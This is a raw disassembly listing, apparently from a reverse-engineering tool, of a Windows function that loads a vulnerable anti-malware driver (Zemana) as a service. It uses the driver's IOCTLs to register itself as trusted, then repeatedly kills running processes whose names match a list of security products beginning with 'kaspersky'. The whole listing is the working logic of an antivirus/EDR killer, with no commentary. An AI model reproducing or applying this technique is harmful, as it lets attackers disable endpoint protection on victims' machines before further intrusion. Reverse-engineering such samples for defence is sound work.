Function at 0x1400010d0
Capabilities:
Create service
Enumerate processes
Query service status
Start service

Disassembly:
push rbp
push rsi
push r12
push r14
lea rbp, [rsp - 0x558]
sub rsp, 0x658
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x540], rax
lea r8, [0x140005664]
mov dword [0x140005664], 0xf8958b
lea rdx, str.C:WindowsSystem32drivers_s.sys
lea rcx, [rbp + 0x320]
call fcn.140001070
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
je 0x140001576
xor r9d, r9d
lea r8, [rbp + 0x320]
mov edx, 0x104
lea rcx, [rbp + 0x20c]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x140001565
mov qword [rsp + 0x680], rbx
lea rdx, [rbp + 0x320]
mov qword [rsp + 0x688], rdi
lea rcx, str.Driver_path:__s_n
mov qword [rsp + 0x690], r13
call fcn.140001010
lea rdx, [rbp + 0x20c]
lea rcx, str.Loading__s_driver.._n
call fcn.140001010
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x14000122d
mov r8d, 0xf01ff
mov dword [0x140005664], 0xf8ebba
lea rdx, [0x140005664]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
xor r13d, r13d
mov rdi, rax
test rax, rax
je 0x14000123e
lea rcx, str.Service_already_exists._n
call fcn.140001010
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x14000121b
cmp dword [rbp - 0x7c], 1
jne 0x1400012c8
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x1400012bc
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.Failed_to_load_driver__try_running_the_program_as_administrator___n
call fcn.140001010
jmp 0x140001338
mov qword [rsp + 0x60], r13
lea rax, [rbp + 0x320]
mov qword [rsp + 0x58], r13
lea r8, [0x140005664]
mov qword [rsp + 0x50], r13
lea rdx, [0x140005664]
mov qword [rsp + 0x48], r13
mov r9d, 0xf01ff
mov qword [rsp + 0x40], r13
mov rcx, rbx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov dword [0x140005664], 0xf8ebba
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
je 0x140001224
lea rcx, str.Service_created_successfully._n
call fcn.140001010
jmp 0x140001205
lea rcx, str.Starting_service..._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.Driver_loaded_successfully___n
mov qword [rsp + 0x650], r15
call fcn.140001010
mov qword [rsp + 0x30], r13
lea rcx, str..ZemanaAntiMalware
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140001372
lea rcx, str.Failed_to_open_handle_to_driver__
call fcn.140001010
mov r15, qword [rsp + 0x650]
mov rdi, qword [rsp + 0x688]
mov r13, qword [rsp + 0x690]
mov rbx, qword [rsp + 0x680]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x658
pop r14
pop r12
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov qword [rsp + 0x38], r13
lea r8, [rsp + 0x74]
mov qword [rsp + 0x30], r13
mov r9d, 4
mov dword [rsp + 0x28], r13d
mov edx, 0x80002010
mov rcx, r15
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x74], eax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edx, 0x80002010
test eax, eax
jne 0x1400013cc
lea rcx, str.Failed_to_register_the_process_in_the_trusted_list__X____n
call fcn.140001010
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001330
lea rcx, str.Process_registered_in_the_trusted_list__X____n
call fcn.140001010
lea rcx, str.Terminating_all_suspicious_processes.._nKeep_the_program_running_to_prevent_windows_service_from_restarting_them_n
call fcn.140001010
lea r12, [0x1400035e0]
nop dword [rax + rax]
xor edx, edx
mov dword [rsp + 0x70], r13d
mov ecx, 2
mov dword [rsp + 0x7c], r13d
mov dword [rsp + 0x78], r13d
mov esi, r13d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001555
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001538
nop dword [rax + rax]
mov r8d, 0x104
lea rdx, [rbp - 0x34]
lea rcx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
lea rcx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rdi, rax
movzx eax, byte [rax]
test al, al
je 0x140001487
mov rbx, rdi
movzx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rbx], al
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x140001471
lea rbx, str.kaspersky
nop
mov rdx, qword [rbx]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400014b5
add rbx, 8
cmp rbx, r12
jl 0x140001490
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001523
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [rbp - 0x58]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x70], eax
mov r9d, 4
mov qword [rsp + 0x38], r13
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov edx, 0x80002048
lea rax, [rsp + 0x7c]
mov dword [rsp + 0x28], 4
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea rdx, [rbp - 0x34]
test eax, eax
jne 0x140001515
lea rcx, str.Failed_to_terminate__ws____n
call fcn.140001010
jmp 0x140001523
lea rcx, str.Terminated__ws_n
call fcn.140001010
inc esi
lea rdx, [rbp - 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001440
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140001555
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013f0
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013f0
lea rcx, str.Path_not_found___n
call fcn.140001010
jmp 0x140001350
lea rcx, str.Driver_not_found___n
call fcn.140001010
jmp 0x140001350